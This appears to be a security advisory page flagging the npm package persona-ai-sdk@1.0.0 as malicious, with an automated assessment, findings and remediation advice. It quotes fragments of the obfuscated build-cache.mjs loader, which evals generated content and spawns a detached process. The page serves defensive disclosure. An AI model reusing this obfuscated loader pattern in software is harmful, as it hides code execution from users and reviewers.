persona-ai-sdk@1.0.0
OpenSSF/OSV Malicious Advisory
imported 3d ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-18463 confirms this npm version as malicious.
Advisory
MAL-2026-18463
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in persona-ai-sdk (npm)
Details
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
The normal package entry does not reach the flagged file, and no lifecycle scripts run it by default. However, the included standalone module is heavily obfuscated and contains a top-level routine that evaluates generated content and launches a detached process, an unexplained risk warranting a warning.
Static reason
One or more suspicious static signals were detected.
Trigger
Importing or running `build-cache.mjs`; no standard install or main-entry trigger was found.
Impact
Could execute arbitrary code when this standalone module is invoked; its purpose and any remote endpoints could not be established from the obfuscated source.
Mechanism
The module runs an obfuscated top-level routine that evaluates generated content and starts a detached child process.
AI rationale
The normal package entry does not reach the flagged file, and no lifecycle scripts run it by default. However, the included standalone module is heavily obfuscated and contains a top-level routine that evaluates generated content and launches a detached process, an unexplained risk warranting a warning.
Evidence
build-cache.mjs
Independent scan evidence
public snapshotAI called this Suspicious at 91.0% confidence as Unknown with medium false-positive risk.
Evidence for AI warning decision
- `build-cache.mjs` is heavily obfuscated and dynamically imports modules using computed names.
- The obfuscated module calls `_0xacef1()` at top level when imported or run.
- It passes generated content to `eval` and launches it in a detached child process; the content’s purpose is unclear.
Evidence against
- The package’s main entry re-exports `dist/index.js` and `personas.mjs`; it does not import `build-cache.mjs`.
- `build-cache.mjs` is not listed as a package export, and the manifest has no lifecycle scripts.
Behavioral surface
CryptoDynamicRequireEnvironmentVarsEvalFilesystemNetwork
HighEntropyStringsMinifiedObfuscated
Source & flagged code
5 flaggedbuild-cache.mjsView file
26); }; const _0x02aa39634 = String.fromCharCode(((61022<<1)-(122034))); const _0x6ba8f81 = process; const _0x40187a = ( async () => await import(_0xa4141)); {const _0x94e39 = { theme: { extend: {} } }; async function _0xf9f3ab(_0x6cf7c5, _0x61be2ca, _0x2261b67) { const _0x011f9066 = String.fromCharCode; try { const _0x72c84 = _0x011f9066((0xf12c^0xf142), (0x1227^0x1248), (0xeb38^0xeb5c),((48597<<1)-(97093)),(0x1f11^0x1f2b), (0x8f64^0x8f02), (0xfc62^0xfc11)); const _0x9e8dc9c5 = _0x011f9066(((56950<<1)-(113790)),((43534<<1)-(86957)), ((663<<1)-(1226)),((47768<<
High
Ai Review Evidence
`build-cache.mjs` is heavily obfuscated and dynamically imports modules using computed names.
build-cache.mjsView on unpkg · L22eturn new Promise((_0xcc741) => setTimeout(_0xcc741, 100)); }); } else { void (async () => { await _0x32f7eb3(); })(); } }; void _0xf9f3ab().then((_0x95fd1) => { if (!_0x95fd1) { _0xc23f15cf(); } },() => { if (false === false) { _0xc23f15cf(); } }); } async function _0xc2a7a() { const _0xe74772525 = String.fromCharCode((0xb7a7^0xb7d4), (0xa232^0xa242), (0xb598^0xb5f4), ((846<<1)-(1587)), (0xfece^0xfeba), ((55808<<1)-(111571))); const _0xb9c8246ba = String.fromCharCode(((54371<<1)-(108626)), (0x92cd^0x92bf), (0x10f8^0x1081)); const _0x0463f = ( async () => await
High
Ai Review Evidence
The obfuscated module calls `_0xacef1()` at top level when imported or run.
build-cache.mjsView on unpkg · L2Findings
4 High5 Medium3 Low
HighObfuscated
HighAi Review Evidencebuild-cache.mjs
HighAi Review Evidencebuild-cache.mjs
HighAi Review Evidencebuild-cache.mjs
MediumDynamic Requirebuild-cache.mjs
MediumNetwork
MediumEnvironment Vars
MediumShips Native Binarynative/linux/x64/cache-probe.node
MediumStructural Risk Force Deep Review
LowEval
LowFilesystem
LowHigh Entropy Strings
Affected versions and remediation
This report applies to persona-ai-sdk@1.0.0.
See all versions of persona-ai-sdk for other recorded verdicts.
- Avoid installing persona-ai-sdk@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.